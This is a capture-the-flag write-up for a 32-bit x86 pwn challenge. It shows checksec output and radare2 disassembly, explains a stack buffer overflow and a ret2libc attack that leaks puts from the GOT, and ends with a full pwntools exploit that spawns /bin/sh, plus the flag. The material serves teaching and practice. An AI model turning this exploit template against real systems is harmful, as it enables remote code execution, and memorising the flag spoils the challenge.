ROP on 32 bit x86 binary.
Information
- category : pwn
- points : 845
Description
dRop the Beat DJ!!
nc prob.vulnerable.kr 20002
File : drop_the_beat_easy, libc.so.6
Writeup
Let’s analyze the security protections of the binary (drop_the_beat_easy).
$ checksec --file drop_the_beat_easy
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
NX
enabled and the binary is compiled for 32 bit intel. We need to “rop” :D.
But first, reversing.
$ r2 -d drop_the_beat_easy
[0xf7f55120]> aaa
[0xf7f55120]> afl
0x08048440 1 33 entry0
0x08048400 1 6 sym.imp.__libc_start_main
0x08048480 4 43 sym.deregister_tm_clones
0x080484b0 4 53 sym.register_tm_clones
0x080484f0 3 30 entry.fini0
0x08048510 4 43 -> 40 entry.init0
0x080486e0 1 2 sym.__libc_csu_fini
0x08048470 1 4 sym.__x86.get_pc_thunk.bx
0x080486e4 1 20 sym._fini
0x08048680 4 93 sym.__libc_csu_init
0x0804853b 4 313 main
0x08048410 1 6 sym.imp.setvbuf
0x080483e0 1 6 sym.imp.puts
0x08048420 1 6 sym.imp.__isoc99_scanf
0x080483d0 1 6 sym.imp.read
0x080483f0 1 6 sym.imp.exit
0x08048398 3 35 sym._init
[0xf7f55120]> s main
[0x0804853b]> pdg
// WARNING: Globals starting with '_' overlap smaller symbols at the same address
undefined4 main(void)
{
undefined4 uVar1;
int32_t var_68h;
int32_t var_64h;
sym.imp.setvbuf(_reloc.stdout_68, 0, 2, 0);
sym.imp.setvbuf(_section..bss, 0, 2, 0);
sym.imp.puts("[..] STUFF [..]")
sym.imp.puts(0x80489f3);
sym.imp.puts("dROP The beat(easy version)");
sym.imp.puts(0x80489f3);
sym.imp.puts("1) Give Him a Beat!");
sym.imp.puts("2) No Beat For You..!");
sym.imp.__isoc99_scanf(0x8048a3a, &var_68h);
if (var_68h == 1) {
sym.imp.puts("Give Me a Beat!!");
sym.imp.read(0, &var_64h, 300);
sym.imp.puts(&var_64h);
sym.imp.puts("Wow... That\'s AWESOME!");
uVar1 = 0;
} else {
sym.imp.puts(":( Sorry, You Can\'t be with us...");
uVar1 = sym.imp.exit(1);
}
return uVar1;
[0x0804853b]> pdf
/ (fcn) main 313
| int main (int argc, char **argv, char **envp);
| ; var int32_t var_68h @ ebp-0x68
| ; var int32_t var_64h @ ebp-0x64
| ; DATA XREF from entry0 @ 0x8048457
| 0x0804853b 55 push ebp
| 0x0804853c 89e5 mov ebp, esp
| 0x0804853e 83ec68 sub esp, 0x68
| 0x08048541 a144a00408 mov eax, dword [obj.stdout] ; obj.stdout__GLIBC_2.0
| ; [0x804a044:4]=0
| 0x08048546 6a00 push 0
| 0x08048548 6a02 push 2 ; 2
| 0x0804854a 6a00 push 0
| 0x0804854c 50 push eax
| 0x0804854d e8befeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
| 0x08048552 83c410 add esp, 0x10
| 0x08048555 a140a00408 mov eax, dword [obj.stdin] ; obj.stdin__GLIBC_2.0
| ; [0x804a040:4]=0
| 0x0804855a 6a00 push 0
| 0x0804855c 6a02 push 2 ; 2
| 0x0804855e 6a00 push 0
| 0x08048560 50 push eax
| 0x08048561 e8aafeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
| 0x08048566 83c410 add esp, 0x10
| 0x080485bc e81ffeffff call sym.imp.puts ; int puts(const char *s)
| 0x080485ce 83c404 add esp, 4
| 0x080485d1 68f4890408 push str.dROP_The_beat_easy_version ; 0x80489f4 ; "dROP The beat(easy version)"
| 0x080485d6 e805feffff call sym.imp.puts ; int puts(const char *s)
| 0x080485db 83c404 add esp, 4
| 0x080485de 68f3890408 push 0x80489f3
| 0x080485e3 e8f8fdffff call sym.imp.puts ; int puts(const char *s)
| 0x080485e8 83c404 add esp, 4
| 0x080485eb 68108a0408 push str.1__Give_Him_a_Beat ; 0x8048a10 ; "1) Give Him a Beat!"
| 0x080485f0 e8ebfdffff call sym.imp.puts ; int puts(const char *s)
| 0x080485f5 83c404 add esp, 4
| 0x080485f8 68248a0408 push str.2__No_Beat_For_You.. ; 0x8048a24 ; "2) No Beat For You..!"
| 0x080485fd e8defdffff call sym.imp.puts ; int puts(const char *s)
| 0x08048602 83c404 add esp, 4
| 0x08048605 8d4598 lea eax, [var_68h]
| 0x08048608 50 push eax
| 0x08048609 683a8a0408 push 0x8048a3a
| 0x0804860e e80dfeffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
| 0x08048613 83c408 add esp, 8
| 0x08048616 8b4598 mov eax, dword [var_68h]
| 0x08048619 83f801 cmp eax, 1 ; 1
| ,=< 0x0804861c 7540 jne 0x804865e
| | 0x0804861e 683d8a0408 push str.Give_Me_a_Beat ; 0x8048a3d ; "Give Me a Beat!!"
| | 0x08048623 e8b8fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x08048628 83c404 add esp, 4
| | 0x0804862b 682c010000 push 0x12c ; 300
| | 0x08048630 8d459c lea eax, [var_64h]
| | 0x08048633 50 push eax
| | 0x08048634 6a00 push 0
| | 0x08048636 e895fdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| | 0x0804863b 83c40c add esp, 0xc
| | 0x0804863e 8d459c lea eax, [var_64h]
| | 0x08048641 50 push eax
| | 0x08048642 e899fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x08048647 83c404 add esp, 4
| | 0x0804864a 684e8a0408 push str.Wow..._That_s_AWESOME ; 0x8048a4e ; "Wow... That's AWESOME!"
| | 0x0804864f e88cfdffff call sym.imp.puts ; int puts(const char *s)
| | 0x08048654 83c404 add esp, 4
| | 0x08048657 b800000000 mov eax, 0
| ,==< 0x0804865c eb14 jmp 0x8048672
| |`-> 0x0804865e 68688a0408 push str.:__Sorry__You_Can_t_be_with_us... ; 0x8048a68 ; ":( Sorry, You Can't be with us..."
| | 0x08048663 e878fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x08048668 83c404 add esp, 4
| | 0x0804866b 6a01 push 1 ; 1
| | 0x0804866d e87efdffff call sym.imp.exit ; void exit(int status)
| | ; CODE XREF from main @ 0x804865c
| `--> 0x08048672 c9 leave
\ 0x08048673 c3 ret
Ok, we have the usual buffer
which is 100 bytes long –> [ebp-0x64]
, and
the program issues a read
of 300 bytes, so classic stack-based buffer overflow.
To overwrite the return address we just need to insert 100(buffer) + 4(ebp)
bytes.
Problem
We need to know the address of system
in order to call system('/bin/sh')
.
How can we do it?
Because the puts
function is executed more than one time, in the GOT
section
there will be its effective address.
We can print that value using puts@plt
.
After that?
Well main
is just a function, we can execute it multiple times.
The second time that the main
will run, we will know the address of puts
in
memory, using that address we can compute the address of system
and /bin/sh
.
Tell me how.
We have the libc.so.6
used by the binary. If we substract from the address of
puts
the symbol puts
in the libc
, we know where the libc
base is in memory.
From there, we can add to the libc
base address the symbol of system
in the
libc
to find the effective address of system
.
Exploit
#!/usr/bin/env python3
from pwn import process, remote, context, ELF, p32, u32, log
class Attack:
def __init__(self, conn, debug):
if conn == 'local':
self.conn = process('./drop_the_beat_easy')
else:
self.conn = remote('prob.vulnerable.kr', 20002)
if debug == True:
context.log_level = 'debug'
self.drop = ELF('./drop_the_beat_easy', False)
self.libc = ELF('./libc.so.6', False)
def first_stage(self):
puts_plt = p32(self.drop.plt['puts'])
puts_got = p32(self.drop.got['puts'])
main = p32(self.drop.sym['main'])
payload = b'a' * 104 + puts_plt + main + puts_got
self.conn.recvuntil(b'You..!')
self.conn.sendline(b'1')
self.conn.recvuntil(b'!!')
self.conn.sendline(payload)
self.conn.recvuntil('AWESOME!\n')
return u32(self.conn.recv(4))
def second_stage(self, puts):
libc_base = puts - self.libc.sym['puts']
system = p32(libc_base + self.libc.sym['system'])
sh = p32(libc_base + next(self.libc.search(b'/bin/sh')))
log.info("puts : " + str(hex(puts)[2:]))
log.info("libc base : " + str(hex(libc_base)[2:]))
log.info("system : " + system[::-1].hex())
log.info("/bin/sh : " + sh[::-1].hex())
self.conn.recvuntil(b'You..!')
self.conn.sendline(b'1')
self.conn.recvuntil(b'!!')
payload = b'a' * 104 + system + b'BBBB' + sh
self.conn.sendline(payload)
self.conn.interactive()
def main():
attack = Attack('remote', False)
puts = attack.first_stage()
attack.second_stage(puts)
if __name__ == '__main__':
main()
Launch the exploit
Flag
KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#}